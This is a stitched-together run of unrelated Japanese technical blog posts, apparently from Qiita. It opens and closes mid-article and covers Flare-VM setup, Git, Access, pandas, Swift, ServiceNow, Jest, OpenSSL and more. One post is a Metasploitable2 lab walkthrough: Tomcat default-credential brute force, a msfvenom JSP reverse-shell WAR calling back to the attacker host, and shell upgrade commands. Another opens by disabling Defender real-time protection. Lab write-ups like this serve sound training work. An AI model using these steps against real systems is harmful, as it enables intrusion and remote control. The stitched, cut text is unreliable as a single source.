コンピュータの構成→管理用テンプレート→Windows コンポーネント→Microsoft defender ウイルス対策→Microsoft Defender ウイルス対策を無効にする を選択し、有効にする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3807852/7a64f681-a988-43de-1cab-f295fb09cd9e.png)
コンピュータの構成→管理用テンプレート→Windows コンポーネント→Microsoft defender ウイルス対策→リアルタイム保護→リアルタイム保護を無効にする を選択し、有効にする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3807852/1f439df0-1a7f-5509-8115-bff340b3b52f.png)

コンピュータの構成→管理用テンプレート→Windows コンポーネント→Windows Update→自動更新を構成する を選択し、無効にする。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3807852/ef2870ec-7f5c-99b4-1ea8-ed6a45f2c743.png)


これで再起動をし無効になっているか確認してください。

あとは任意でファイアウォールの設定やUACの設定を行ってください。

# Flare-VMの導入
https://github.com/mandiant/flare-vm
基本指示通りに行えばできるかと思います。
## install.ps1のダウンロード
```powershell
(New-Object net.webclient).DownloadFile('https://raw.githubusercontent.com/mandiant/flare-vm/main/install.ps1',"$([Environment]::GetFolderPath("Desktop"))\install.ps1")
```
## install.ps1の実行
- インストールに失敗した際復元できるよう実行前にチェックポイントを作っておきましょう。
管理者でpowershellを開いてinstall.ps1のある場所へ移動
```powershell
Unblock-File .\install.ps1
Set-ExecutionPolicy Unrestricted -Force
.\install.ps1
```
パスワードを聞かれるので入力
しばらくするとインストールするツールを聞かれます。ここで選択したツールは基本chocolateyとboxstarterで自動インストールされます。
手動で追加したツールは以下
```text
ftk-imager.vm ←メモリダンプツール
googlechrome.vm 
hayabusa.vm ←イベントログ調査
ollydbg.* ←デバッガの拡張機能
openjdk.vm ←Ghidraを動作させるために必要になる可能性が高い
vcredist140.vm ←古いバージョンのVisual C++ランタイム
x64dbg.* ←デバッガ
```

あとは気長に待ちます。
途中再起動やらいろいろ勝手に動きますが間違ってもターミナルを閉じたりしてはいけません。
インストールが中断されてしまいます。

終わったら背景が変わります。インストール時のログファイルがあるので確認するとインストールに失敗したツールが分かります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3807852/d3d60b12-dedb-2f60-f1e0-763f0c1f0a66.png)
あとは手動でほしいツールを入れてください。
No such file or directoryのエラーを解決した方法【Git Bash】

### エラーの内容
gitbashにてコミットしようとしたところ、下記のエラーが表示されてコミットできなかった。
```
error: could not lock config file C/User/myname/.gitconfig: No such file or directory
```
※ちなみに、この状態でメールアドレスやユーザーネームの登録もできなかった。

### 原因
.gitconfigファイルが格納されているディレクトリのパスは **C/Users/myname/** だったが、 **C/User/myname/** が指定されていた。（Userにsが足りなかった。）

### 解決策
ディレクトリのパスを **C/Users/myname/** に変更したかったので、下記のコマンドを実行した。
```
export HOME="/c/Users/myname"
```

### 結果
パスを正しいものに設定し直すことができ、コミットできた。
AccessでWebビューアプリ

# はじめに
「Accessでアプリを作る」という縛りがある中、古臭くないUIを求められたので、
AccessをベースとしたWebビューアプリに仕立ててみました。

サンプルではhtmlファイルを外出しにしていますが、テキストデータとしてAccess側に埋め込むことも出来ます。
メンテナンス性が悪くなりますが…

使用する「Microsoft Web Browser」はベースがIEです。
その為、cssやjavascriptはIEに対応した書き方にする必要があります。

# 手順（サンプル）
1\. Accessファイル（サンプルではファイル名：AccessHtml.accdb）を作成します

2\. フォーム（サンプルではフォーム名：frmBrowser）を追加します

3\. フォームに「Microsoft Web Browser」（サンプルではオブジェクト名：webBrowser）を追加します

4\. フォームにボタン（サンプルではオブジェクト名：btnToHtml）を追加します

5\. 参照設定に「Microsoft HTML Object Library」を追加します

6\. VBA（Form_frmBrowser）に以下を記述します
```vb:Form_frmBrowser
Option Compare Database

Private WithEvents htmlCmd As MSHTML.HTMLInputButtonElement
Private WithEvents accessCmd As MSHTML.HTMLInputButtonElement
Private WithEvents linkVal As MSHTML.HTMLInputTextElement

Private Sub Form_Load()
    'フォームロード時にhtmlファイルを読み込む
    webBrowser.Navigate CurrentProject.Path & "\Sample.html"
End Sub

Private Sub webBrowser_DocumentComplete(ByVal pDisp As Object, URL As Variant)
    'htmlファイルの読み込み後に実行される
    'html側のonloadで実行した処理と非同期で実行される
    '実行する順序が重要になる場合は注意が必要
    Call connectBrowser
End Sub

Private Sub webBrowser_BeforeScriptExecute(ByVal pDispWindow As Object)
    'htmlファイルのscriptタグが読み込まれる前に実行される
    '「セキュリティ保護のため、～」が表示されてる。
    'ブロックされているコンテンツを許可した場合にリロードがかかるが、
    'その際にDocumentCompleteが呼ばれないため、ここでも実行する
    Call connectBrowser
End Sub

Private Sub connectBrowser()
    'html側のelementをVBAのオブジェクトにセットする
    Set htmlCmd = webBrowser.Document.all.btnHtml
    Set accessCmd = webBrowser.Document.all.btnAccess
    Set linkVal = webBrowser.Document.all.txtVal
End Sub

Private Sub btnToHtml_Click()
    linkVal.Value = "accessからjavascriptの処理を実行しました。"
    '⇒html側のtxtValに値が入る
    
    htmlCmd.Click
    '⇒html側のbtnHtmlのクリックイベントが実行される
End Sub

Private Function AccessCmd_onclick() As Boolean
    MsgBox linkVal.Value
End Function
```

7\. htmlファイル（サンプルではファイル名：Sample.html）をAccessファイルと同じフォルダ内に作成します

8\. html（Sample.html）に以下を記述します
```html:Sample.html
<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
  </head>
  <body>
    <input type="hidden" id="txtVal">
    <input type="hidden" id="btnAccess">
    <input type="hidden" id="btnHtml" onclick="fromAccess();">
    <button id="btnSet" onclick="toAccess();">Accessの処理を実行</button>
  </body>
  <script type="text/javascript">
    function fromAccess() {
      alert(document.getElementById('txtVal').value);
    }
    
    function toAccess() {
      document.getElementById('txtVal').value = 'javascriptからaccessの処理を実行しました。';
      //⇒Access側のlinkValに値が入る
      
      document.getElementById('btnAccess').click();
      //⇒Access側のAccessCmd_onclickイベントが実行される
    }
  </script>
</html>
```
IPv4プライベートアドレス範囲（RFC1918規則）

## 24ビットブロック
10.<font color='#67cb1b;'>0</font>.<font color='#67cb1b;'>0</font>.<font color='#67cb1b;'>0</font>〜10.<font color='#67cb1b;'>255</font>.<font color='#67cb1b;'>255</font>.<font color='#67cb1b;'>255</font>

## 20ビットブロック
172.<font color='#67cb1b;'>16</font>.<font color='#67cb1b;'>0</font>.<font color='#67cb1b;'>0</font>〜172.<font color='#67cb1b;'>31</font>.<font color='#67cb1b;'>255</font>.<font color='#67cb1b;'>255</font>

## 16ビットブロック
192.168.<font color='#67cb1b;'>0</font>.<font color='#67cb1b;'>0</font>〜192.168.<font color='#67cb1b;'>255</font>.<font color='#67cb1b;'>255</font>
分析で利用するpandasのDataFrame(データ確認編)

## この記事から得られること
- データ分析で利用するための、データ操作が簡単にできることがわかる。
- 慣れれば、おそらく、エクセルより操作が簡単だと感じるかもしれません。
- データ操作するための時間短縮になるかもしれません。

## なぜこの内容を紹介するのか
理由は、なれるとエクセルより作業が楽になるのではと思って便利になるのではと思っています。

### データの読み込みと確認
#### 1\. pd.read_csv()
CSVファイルを読み込み、DataFrameを作成します。

```py:
import pandas as pd

df = pd.read_csv('data.csv')
```
::: note info
read_*** の ***の部分を変更すると、excel,sql,clipbordなど読み込みできるデータを変更できます。
他のデータの読み込みは、こちらを参照してください。

[pandas Input/output](https://pandas.pydata.org/docs/reference/io.html "pandas Input/output")
:::

今回ファイルの中身は、こちらを想定して説明します。
株価の数字を適当に入れています。
1箇所pd.NAと入れていますが、NAの処理のため意図的に入れています。
``` 
df = pd.DataFrame({'GOOG':[158.56,157.21,167.31,168.42,167.19,165.29,168.83],
                   'AMZN':[186.61,181.96,184.76,185.13,186.33,187.97,pd.NA]
                   })

```
#### 2\. df.columns
カラム名が取得できます。
```py:
print(df.columns)
```
``` 実行結果
Index(['GOOG', 'AMZN'], dtype='object')
````


#### 3\. df.head()
DataFrameの先頭数行を表示します。 
() 内に数字がない場合は、先頭行から5行表示します。
数字を入力すると、指定した数字の数だけ先頭行から表示されます。

```py:
print(df.head())
```

実行結果
|  |GOOG| AMZN |
|:-----------|------------:|:------------:|
| 0 | 158.56  | 186.61  |
| 1 | 157.21  | 181.96  |
| 2 | 167.31  | 184.76  |
| 3 | 168.42  | 185.13  |
| 4 | 167.19  |186.33   |

先頭から5行分取得されています。


#### 4\. df.tail()
DataFrameの末尾数行を表示します。
() 内に数字がない場合は、末尾行下5行表示します。
数字を入力すると、指定した数字の数だけ末尾行下の行が表示されます。
```py:
print(df.tail())
```
実行結果
|  |GOOG| AMZN |
|:-----------|------------:|:------------:|
| 2 | 167.31  | 184.76  |
| 3 | 168.42  | 185.13  |
| 4 | 167.19  |186.33   |
| 5  |165.29   |187.97   |
| 6  |168.83   | <NA>     |

末尾5行分が取得されています。pd.NAの部分は空白（データなし）です。
CSVやエクセルなどのファイルを読み込みし、データなしのセルは
同様に空白が表示されます。
実際のデータのファイルを読込するときは、どこに空白があるか、
目視では難しいので、空白の有無を確認後、どのように処理をするか決めます。

#### 5\. df.shape
DataFrameの行数と列数をタプルで返します。
```py:
print(df.shape)
```
``` 実行結果
(7, 2)
````
カラム名を除く、7行分と、2列分のデータが入っていることが確認できます。



#### 6\. df.dtypes
各列のデータ型を表示します。

```py:
print(df.dtypes)
```
``` 実行結果
0
GOOG	float64
AMZN	object
dtype: object

````
GOOGのデータには、小数点を含む値が入っていることがわかります。
AMZNのデータには、ovject型のデータが入っていることがわかります。
どうやら、一つでも、種類の異なるデータが入っていると、その値に影響するようです。


#### 7\. df.info()
DataFrameの概要情報を表示します。

```py:
print(df.info())
```
``` 実行結果
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 7 entries, 0 to 6
Data columns (total 2 columns):
 #   Column  Non-Null Count  Dtype  
---  ------  --------------  -----  
 0   GOOG    7 non-null      float64
 1   AMZN    6 non-null      object 
dtypes: float64(1), object(1)
memory usage: 240.0+ bytes
````

ここからでも0番目から6番目の7行分データが入っていることがわかります。
nullの値が入っていない数も
GOOG    7 non-null
AMZN    6 non-null
からわかります。
AMZNは1個だけnull(値が入っていない)いうことがわかります。



#### 8\. df.describe()
数値型の列の統計量（平均値、標準偏差、最小値、最大値など）を表示します。

```py:
print(df.describe())
```

 実行結果
|  |GOOG| 
|:-----------|------------:|
| count | 7.000000|
| mean | 164.687143| 
| std | 4.796772  |
| min  |157.210000|
| 25% |161.925000| 
|50%|167.190000|
|75%|167.865000|
|max|168.830000|

ここで、AMZNの計算はされません。
どうやら、1箇所でも数字以外が入力されていると計算されないようです。
また、列に数字以外の値が入力されている場合、例えば、性別、県名などが入力されている場合も計算されません。

他データを確認する方法はpandasのページにありますので、
必要な方は見てみてください。


https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.size.html
【はじプロ】FizzBuzz

# はじめに
前回は、はじプロでオイラー法を実装した。
今回はFizzBuzz。

# はじプロでの実装
剰余演算がないので、自分で作らなければならない。
例えば、3で割り切れるかどうかを判断するためには、カウンタで1, 2, 3, …とカウントしながら、その値と3との積をとる。それを現在の値と比較して比べてゼロであれば3の倍数と判断出来る。
実行結果は次の通り。

<iframe width="560" height="315" src="https://www.youtube.com/embed/dlv2vuc9Id4?si=DZ_kiC0ets9KOdsa" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

# おわりに
実装を載せるのは諦めた。
文字列でないとこういうところで共有するのが難しいね。
Metasploitable2 exploit Tomcat(reverse shell)

Metasploitable2のTomcatをエクスプロイトする備忘録です。
Tomcatのデフォルトアカウントが有効になっている脆弱性を利用して、リバースシェルでエクスプロイトします。
# Metasploitでエクスプロイトする
Kali LinuxのIPアドレス：192.168.56.10
Metasploitable2のサーバーのIPアドレス：192.168.56.20
Metasploitの起動前にファイルを作成します。
空でもいいようですが、無いとエラーになるため。
```
touch tomcat_creds
```
Tomcatの管理者ログインをデフォルトアカウントで、ブルートフォース攻撃します。
ユーザーパスファイルとして、さっき作成したファイルをセットします。
```
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USERPASS_FILE /root/tomcat_creds
USERPASS_FILE => /root/tomcat_creds
```
攻撃ポートとして、8180番ポート。
攻撃IPアドレスとして、192.168.56.20をセットします。
```
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
```
exploitします。
Metasploitable2の場合、ユーザー名：tomcat、パスワード：tomcatでログインできます。
```
msf6 auxiliary(scanner/http/tomcat_mgr_login) > exploit

[!] No active DB -- Credential data will not be saved!
[-] 192.168.56.20:8180 - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.56.20:8180 - LOGIN FAILED: admin:manager (Incorrect)
.
.
.
[-] 192.168.56.20:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.56.20:8180 - Login Successful: tomcat:tomcat
[-] 192.168.56.20:8180 - LOGIN FAILED: both:admin (Incorrect)
.
.
.
[-] 192.168.56.20:8180 - LOGIN FAILED: xampp:ADMIN (Incorrect)
[-] 192.168.56.20:8180 - LOGIN FAILED: xampp:xampp (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
# ペイロードを作成する
以下のコマンドで、Tomcatにアップロードするペイロード(shell.war)を作成します。
```
msf6 auxiliary(scanner/http/tomcat_mgr_login) > msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f war -o shell.war
[*] exec: msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f war -o shell.war

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
Payload size: 1094 bytes
Final size of war file: 1094 bytes
Saved as: shell.war
```
ブラウザで、Tomcatの管理者画面にアクセスし、ユーザー名：tomcat、パスワード：tomcatでログインします。
```
http://192.168.56.20:8180/manager/html
```
「WAR file to deploy」の「Browse」をクリックして、作成したshell.warを選択して、Openボタンをクリックします。
# リバースシェルを待ち受ける
汎用のペイロードハンドラーを選択します。
```
msf6 auxiliary(scanner/http/tomcat_mgr_login) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
```
リバースシェルのpayloadを選択します。
```
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
```
待ち受け用のIPアドレスとポートをセットします。
```
msf6 exploit(multi/handler) > set LHOST 192.168.56.10
LHOST => 192.168.56.10
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
```
exploitします。
```
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.56.10:4444
```
ブラウザから、shell.warにアクセスします。
```
http://192.168.56.20:8180/shell/
```
コネクションが確立します。
```
[*] Command shell session 1 opened (192.168.56.10:4444 -> 192.168.56.20:33178) at 2024-10-05 21:37:17 +0900

whoami
tomcat55
hostname
metasploitable
```
シェルが無いので、対話的シェルの出し方。
```
python -c 'import pty;pty.spawn("/bin/bash")'
tomcat55@metasploitable:/$
```
プロンプトが表示されます。
Swift 5.9を1年遅れで検証：if and switch expressionsを触ってみた

## はじめに
現場でXcode **15**が導入されました。[^1]
なんということでしょう！！
[SE-0380 if and switch expressions](https://github.com/swiftlang/swift-evolution/blob/main/proposals/0380-if-switch-expressions.md)が使えるではありませんか :heart_eyes:

## さっそく使ってみた
以下のコードを書きました:writing_hand:
<img width="480" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/95033/f4192b39-f0ba-8b48-f0a5-a836be957db2.png">
**あれ？？** :open_mouth:
`nil`の型推論ができないのでエラーになっているっぽいです。

## 解決策 1
`userInfo`の型を明記する。
```swift
func doStuff(_ message: String) -> [String: Any]? {
    let userInfo: [String: Any]? =
    if message.isEmpty {
        nil
    } else {
        [NSLocalizedDescriptionKey: message]
    }
    return userInfo
}
```

## 解決策 2
`nil`の型を明記する。
```swift
func doStuff(_ message: String) -> [String: Any]? {
    let userInfo =
    if message.isEmpty {
        nil as [String: Any]? 
    } else {
        [NSLocalizedDescriptionKey: message]
    }
    return userInfo
}
```

## 解決策 3
`userInfo`を使うのをやめて、`if文`を`return`の引数にする。
```swift
func doStuff(_ message: String) -> [String: Any]? {
    return if message.isEmpty {
        nil
    } else {
        [NSLocalizedDescriptionKey: message]
    }
}
```
Note: `return`の後ろに改行を入れると警告が出ます。
<img width="720" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/95033/e1545bdc-21d7-4672-0bf0-846b0a9baf5f.png">

## 解決策 4
`return`すら要らない。
```swift
func doStuff(_ message: String) -> [String: Any]? {
    if message.isEmpty {
        nil
    } else {
        [NSLocalizedDescriptionKey: message]
    }
}
```


---
お好みの方法でお楽しみください :blush: :wave:

### いいわけ
三項演算子を使って、↓こうじゃないの？というご意見もあるかと存じますが、
`SE-0380`を楽しんでみる趣旨から外れるので除外しております。
```swift
func doStuff(_ message: String) -> [String: Any]? {
    message.isEmpty ? nil : [NSLocalizedDescriptionKey: message]
}
```

[^1]: 執筆時、既にXcode **16**がリリースされておりますが。
【DAY26】モバイルファーストについて

## はじめに
私は個人開発でWebアプリケーションを作成しました。しかし、そのアプリはPC全画面で見ることしか想定しておらず、横幅が小さくなるとデザインが崩れてしまいます。そこで、スマホでも使えるようにしようとレスポンシブデザインについて調べていると、どうやらモバイルファーストという考え方があるそうです。今日はモバイルファーストについて調べたことをまとめます。
## モバイルファーストとは
調べたら明確な言葉の定義はなく内容もまちまちでしたので、多少私自身の解釈も入っているかもしれません。
モバイルファーストとは、Webサイトやネットサービスなどの開発・運営方針の一つで、スマホを含めた全てのデバイスに対してユーザーニーズを最適化するためにマルチデバイス対応のサイト構造、デザインにすることです。
モバイル端末は、PCと比べて以下のような特徴があります。
・画面が小さい
・タップやスワイプで操作する
この特徴を考慮せず、PC用の画面をそのままモバイル端末に表示すると、使いにくくなります。
例えば、PC向けの文字サイズをモバイル端末に圧縮して表示すると、文字が小さくで見辛くなります。また、PCではカーソルを合わせてクリックしていたボタンも、スマホで指でタップするとなると小さくて押しづらくなります。
このように、PCのデザインをモバイル端末に転用するとユーザビリティが悪くなります。
一方で、モバイル端末のレイアウトを先に考えておけば、それをPC用のデザインにするのはさほど難しくありません。したがって、「モバイルファースト」で考える必要があるようです。
私はPCに合わせたデザイン、サイト構造を考えて、その後スマホにも対応できたらいいな、という感じで考えてきました。しかし、モバイル端末での使用も考慮するなら、そちらを先に考えた方が良かったっぽいです。

## TailwindCSSの場合
私はTailwindCSSを使用しているので、TailwindCSSにおけるレスポンシブデザインについて少し触れます。
TailwindCSSでは、クラス名にsmやmdなどのprefixをつけることで、特定の横幅「以上」の場合のデザインをつけることができます。つまり、まず横幅が小さい端末でのデザインをつけて、横幅が大きい端末に合わせたデザインにするときはprefixをつけます。
まさに、モバイル端末→PCの順で考えるのに適したものとなっています。

## MFIとは
MFI（モバイルファーストインデックス）とは、モバイル端末におけるページが魅力的であるほど検索順位が有利になるGoogle検索アルゴリズムです。つまり、モバイルファーストを意識したサイト作成は検索エンジンの最適化(SEO)にもつながります。
AWS Data Pipelineについて

## AWS Data Pipelineとは
データ処理やデータ移動を自動化するサービスです。Data Pipelineでパイプラインを設定すると、オンプレミスやAWS上の特定の場所に定期的にアクセスし必要に応じてデータを変換し、S3、RDS、DynamoDBなどのAWSの各種サービスに転送します。
設定はビジュアル操作(ドラック＆ドロップ)が可能です。スケジュール実行のほかに、エラー時の再実行や耐障害性・可用性機能があります。

## 利用シーン
バッチ処理のELT(複数のデータソースから、データの抽出（Extract）・変換（Transform）・書き出し（Load）を行い、DWH（データウェアハウス）と呼ばれる大量のデータの格納庫にまとめる一連のプロセス)を構築する必要がある場合などに使用すると、自前でEC2インスタンスを立ててバッチ処理を作るのに比べ、例外処理の設計・実装の手間が少なくインフラ運用の負荷も減らすことができます。
【ServiceNow】新しいUIを元に戻す方法

はじめに
--
前回の記事の更新からかなりの年数が経ちましたが、servicenowの案件にまた参画させていただくことになったので、記事を再開して行こうと思います。

[前回の記事]

https://qiita.com/masa3150/items/4c13a27365eb90edc290

新しいUIを元に戻そう！
---


最近はservicenowの案件も増えてきたことによりservicenowの無償で提供している個人インスタンスを使用して自主学習を行おうとしている方もいると思いますが、UIが違うことってないでしょうか?


◾️個人インスタンスをBulidした際のUI
![スクリーンショット 2024-10-05 20.37.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3154654/5b43f728-5128-8863-fa55-2b2a4482ea0f.png)


◾️参画先のUI
![スクリーンショット 2024-10-05 20.20.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3154654/3b90b06c-d715-0b30-0bde-31725ceca3e6.png)

:sunny:今回の記事では、個人インスタンスをBulidした際のUIを参画先のUIに変更する方法を記載していきたいと思います。（超簡単です）


UIの変更手順
---

・まず個人インスタンスをBulidし、アプリケーションナビゲータのアプリケーション検索より、「sys_properties.list」を入力してEnterを押下しましょう。
![スクリーンショット 2024-10-05 20.40.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3154654/c3ab4bdf-0d25-c901-7f3c-0c311904d1ef.png)


・System Propertiesテーブルのリストビューが表示されたことを確認してください。
![スクリーンショット 2024-10-05 20.48.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3154654/84b6d1f2-4edc-315f-53a7-b6fbfe4ca192.png)

・Nameの検索欄に「glide.ui.polaris.experience」と入力しレコードの絞り込みを行い、対象のレコードのフォーム画面を表示してください。
![スクリーンショット 2024-10-05 20.53.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3154654/2119b12c-0708-e4aa-8b55-9a54cd24feaf.png)


![スクリーンショット 2024-10-05 20.56.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3154654/9ae6f83a-1598-bc17-1554-9712f841b967.png)

・デフォルトでは、Valueの値が「true」と設定されていますが、こちらを「false」に変更して更新ボタンを押下してください。
![スクリーンショット 2024-10-05 20.57.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3154654/35757683-344a-578e-b0d1-4be31d118368.png)

・更新後、システムプロパティのリストビューに画面遷移されますが、まだUIは変更されません。リストビューに画面遷移されたことを確認した後、ブラウザを更新してください

![スクリーンショット 2024-10-05 21.06.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3154654/75b6bab8-74cc-8535-0057-355ce03d3134.png)

・ブラウザを更新すると元のUIが変更していることがわかります
![スクリーンショット 2024-10-05 21.12.57.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3154654/88dd14c4-2010-e1b3-d82d-f42f745a400e.png)


以上で、UIを変更する方法は終了です。

終わりに
---
参画先によっては、UIは昔のままなどありますので、個人インスタンスを使用する際には、対象のシステムプロパティレコードの内容を変更して合わせましょう。まだまだ、servicenowで使用できる機能はたくさんありますので、習ったことを記事として残していければと思います。
[tips][math][problemSolver] 1000000000は2の何乗?

# 1000000000は2の何乗?

$10^9$は2の何乗かしら。桁数を知っておくとビット表現する時に役立つ日が来るかも。

めちゃ大きい10進数が何ビットか知るのは常用対数です。今回はそのtipsです。常用対数は3つほど覚えておくと便利です。

ちなみに、$10^9$以上の最小の素数は
```
1000000007
```
です。

```
1000000000=10^9=2^x
```

両辺について、常用対数をとり、式変形します。

```math
log_{10}1000000000=log_{10}10^9=log_{10}2^x
\Leftrightarrow xlog_{10}2 = 9log_{10}10 = 9
```

```math
\therefore x = 9 \div log_{10}2 \fallingdotseq 9 \div 0.3010
```

```math
x \fallingdotseq 29.9
```

## 覚えておくと便利な対数


$log_{10}2\fallingdotseq0.3010$

0 お 3 さん 0 おー 1 い

$log_{10}3\fallingdotseq0.4771$

4 し 7 な 7 な 1 い

$log_{10}7\fallingdotseq0.8451$

8 は 4 よ 5 こ 1 い

覚え方を復唱します。
$log_{10}2$「おっさん多い」
$log_{10}3$「死なない」
$log_{10}7$「はよこい」
でした。

## 参考

https://manabitimes.jp/math/794
https://trap.jp/post/1168/
疑似実装で理解するJest/Vitest spyOn

# 発端：なぜ`spyOn(obj.fn)`ではなく`spyOn(obj, 'fn')`なのか
Jest/Vitestで関数の呼び出し履歴をテストしたいときには`spyOn`関数が用いられる。オブジェクト`obj`に含まれる関数`fn`をテストする際には、`vi.spyOn(obj, 'fn')`という使い方となり、`vi.spyOn(obj.fn)`というインターフェースにはなっていない：
```js
const spy = vi.spyOn(obj, 'fn') // vi.spyOn(obj.fn)じゃだめなのか？？

/* obj.fnを呼び出すことが期待される処理 */

expect(spy).toHaveBeenCalledWith('hoge')
```
この疑問を解消しつつ`spyOn`がどのように動作しているかを理解するため、簡易版`spyOn`を実装してみた。

# `spyOn`の仕組み
`spyOn`は大きく分けて以下2つのことをしている：
1. 渡された関数`fn`を、呼び出し履歴（など）を記憶するための層で包む
1. 包んだ関数で元の関数を"すり替える"

以下でそれぞれ詳しく解説する。

## 1. 呼び出し履歴を記憶する層で包む
元の関数を改変することなく呼び出し履歴を記憶するためには、元の関数を「スパイ機能」の層で包めば良い。例えば、呼び出したときの引数を逐次記録したい場合は
```js
const spyOn = (fn) => {
  const mock = {
    calls: []
  }

  const spy = (...args) => {
    mock.calls.push(args)
    return fn(...args)
  }
  spy.mock = mock

  return spy
}
```
といった実装になる[^1]。元の関数の代わりに`spy`を呼び出せば、元の関数の呼び出しを"スパイ"することができる。実際、ここで作った簡易`mock.calls`はJest/Vitestと全く同じように動作する：
```js
const spy = spyOn(obj.fn)

console.log(spy.mock.calls) // [] が出力される
spy('hoge', 1)
console.log(spy.mock.calls) // [['hoge', 1]] が出力される
spy('fuga', 2)
console.log(spy.mock.calls) // [['hoge', 1], ['fuga', 2]] が出力される
```
これを応用すればJest/Vitestにあるその他のインターフェースも実現できる。例えば実装をモックに置き換える`mockImplementation`も
```js
const spyOn = (fn) => {
  const spy = (...args) => {
    return fn(...args)
  }

  spy.mockImplementation = (newFn) => {
    fn = newFn
  }

  return spy
}
```
と簡単に実装できる。

:::note info 
**余談：`vi.mock`と`vi.spyOn`の混乱ついて**
`mockImplementation`の簡易実装で見たように、元々呼び出し回数をテストするために作ったはずの`spyOn`が、モックへの置き換えにも使えることがわかる。これは実用上便利なのだが、このせいで`vi.mock`と`vi.spyOn`のどちらを使ってもモックが実現できることになり、どちらを使えばいいのか混乱が生じているように思われる。片方しか使えないケースや記述量の差はあるものの、`spyOn`の裏側を理解するとどちらを使っても問題ない理由がわかると思う。
:::

## 2. 包んだ関数で元の関数を"すり替える"
1.では呼び出し履歴の記録ができるようになっただけで、まだ`obj.fn`は元の関数のままになっている。したがって、後は元の関数を1.で作ったスパイ済み関数にすり替えられればいい。イメージとしては
```js
const spyOn = (fn) => {
  const mock = {
    calls: []
  }

  const spy = (...args) => {
    mock.calls.push(args)
    return fn(...args)
  }
  spy.mock = mock

  fn = spy // ★こんな感じですり替えたいが...
  return fn
}

spyOn(obj.fn)
```
としたいが、これはうまくいなかい。その理由は、`spyOn`の引数`fn`が参照している関数を置き換えたところで、`obj.fn`の参照先を置き換えたことにはならないからである。したがって、`obj.fn`をすり替える`spyOn`のインターフェースは以下のようにならなくてはいけない：
```js
const spyOn = (obj, functionName) => {
  const originalFunction = obj[functionName]
  const mock = {
    calls: []
  }

  const spy = (...args) => {
    mock.calls.push(args)
    return originalFunction(...args)
  }
  spy.mock = mock

  obj[functionName] = spy // プロパティの参照先を置き換える
  return spy
}

spyOn(obj, 'fn')
```
これがなぜ`spyOn(obj.fn)`ではなく`spyOn(obj, 'fn')`としなければいけないかという問いに対する答えである。

# まとめ
`spyOn`のインターフェースは一見奇妙であるものの、`spyOn`の疑似実装をしてみると必然的であることがわかった。`spyOn`の内部実装をイメージできると、テストがうまく動かないときの原因究明など役立つ場面があると思う。

[^1]: `mock`を介して`calls`を保持しているのはJest/Vitestの仕様と合わせるためなので、直接`calls`を保持しても本質的に違いはない。
自己証明書作成手順


:::note info
TLS 設定確認用の Subject Alternative Name 付き自己証明書作成手順です。
:::

## 自己認証局証明書の作成

```bash:自己認証局署名鍵・証明書作成
openssl req \
    -new \
    -out ca.crt \
    -keyout ca.key \
    -x509 \
    -days 3650 \
    -newkey rsa:2048 \
    -nodes \
    -subj "/CN=PrivateCA"
```


## サーバ証明書の作成

```bash:サーバ証明書 CSR 作成
openssl req \
    -new \
    -out server.csr \
    -keyout server.key \
    -newkey rsa:2048 \
    -nodes \
    -subj "/CN=server.local"
```

ここでは Subject Alternative Name 設定用ファイルのファイル名を `san_server.txt` とします。

```text:Subject Alternative Name の設定ファイル作成
echo "subjectAltName = DNS:server.local, DNS:localhost, IP:192.168.1.1, IP:127.0.0.1" > san_server.txt
```

```bash:CSR へ署名
openssl x509 \
    -req \
    -days 3650 \
    -in server.csr \
    -out server.crt \
    -CA ca.crt \
    -CAkey ca.key \
    -CAcreateserial \
    -extfile san_server.txt
```

```bash:作成した証明書の確認
openssl x509 -in server.crt -text -noout
```

```bash:p12 形式ファイルの作成
openssl pkcs12 -export \
    -in server.crt \
    -inkey server.key \
    -certfile ca.crt \
    -out server.p12 \
    -name "server_cert"
```


## クライアント証明書の作成

```bash:クライアント証明書 CSR 作成
openssl req \
    -new \
    -out client.csr \
    -keyout client.key \
    -newkey rsa:2048 \
    -nodes \
    -subj "/CN=client.local"
```

ここでは Subject Alternative Name 設定用ファイルのファイル名を `san_client.txt` とします。

```text:Subject Alternative Name の設定ファイル作成
